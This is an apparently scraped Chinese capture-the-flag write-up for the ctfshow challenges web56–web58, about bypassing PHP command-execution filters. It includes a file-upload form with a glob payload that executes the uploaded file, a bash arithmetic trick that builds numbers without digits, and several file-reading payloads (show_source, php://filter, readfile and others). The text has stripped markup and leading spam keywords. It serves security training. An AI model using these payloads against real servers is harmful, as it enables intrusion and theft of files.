做网站 傻瓜软件,58网站开发要多少钱,陈铭生杨昭,网站优化怎么做ppt目录 1、web56
2、web57
3、web58 1、web56 命令执行#xff0c;需要严格的过滤 新增过滤数字#xff0c;只能采用上一题临时文件上传的方法#xff1a;
!DOCTYPE html
html langen
headmeta charsetUTF-8需要严格的过滤 新增过滤数字只能采用上一题临时文件上传的方法
!DOCTYPE html
html langen
headmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0titlePOST数据包POC/title
/head
body
form actionhttps://f135ee89-cbf7-464b-9e19-a07aec56fd3f.challenge.ctf.show/ methodpost enctypemultipart/form-data
!--链接是当前打开的题目链接--label forfile文件名/labelinput typefile namefile idfilebrinput typesubmit namesubmit value提交
/form
/body
/htmlpayload?c.%20/???/????????[-[] 2、web57 命令执行需要严格的过滤已测试可绕 先说两个东西在 Linux 下
$(())0
$((~ $(()) ))-1 这里说了 flag 在 36.php那么我们只需要构造 36但是数字被过滤了。
由于前面说的只有 -1因此我们对 36 进行取反得到 -37对 -37 再次取反即可得到 36。
根据 $((~ $(()) ))-1我们进行拼接构造出 -37
$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))再对其进行取反得到 36
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))构造 payload
?c$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) 拿到 flagctfshow{37b0df2c-1256-4779-93e8-715022cb9673} 3、web58 命令执行突破禁用函数 调用 system 函数发现函数被禁用 这里使用 show_source 或者 highlight_file构造 payload
cshow_source(flag.php);
chighlight_file(flag.php); 拿到 flagctfshow{7d992144-9afa-434e-a610-5af9bc9e1600}
也可以直接将 php 代码传给 eval 函数让其执行构造 payload
cinclude(php://filter/convert.iconv.utf8.utf16/resourceflag.php); 还在网上还看到了很多其他奇思妙想的解法格局一下就打开了
1利用 copy 函数
ccopy(flag.php,flag.txt); 执行后直接访问 flag.txt 2rename 函数
通过将 flag.php 重命名为 txt 文件之后直接访问读取和上面的 copy 差不多
3file_get_contents 函数
使用 file_get_contents 进行读取再配合 echo 输出payload
cecho file_get_contents(flag.php); 4readfile 函数
payload
creadfile(flag.php); 5 file 函数
payload
cprint_r(file(flag.php)); 更多其他情况和方法可以参考羽师傅的博客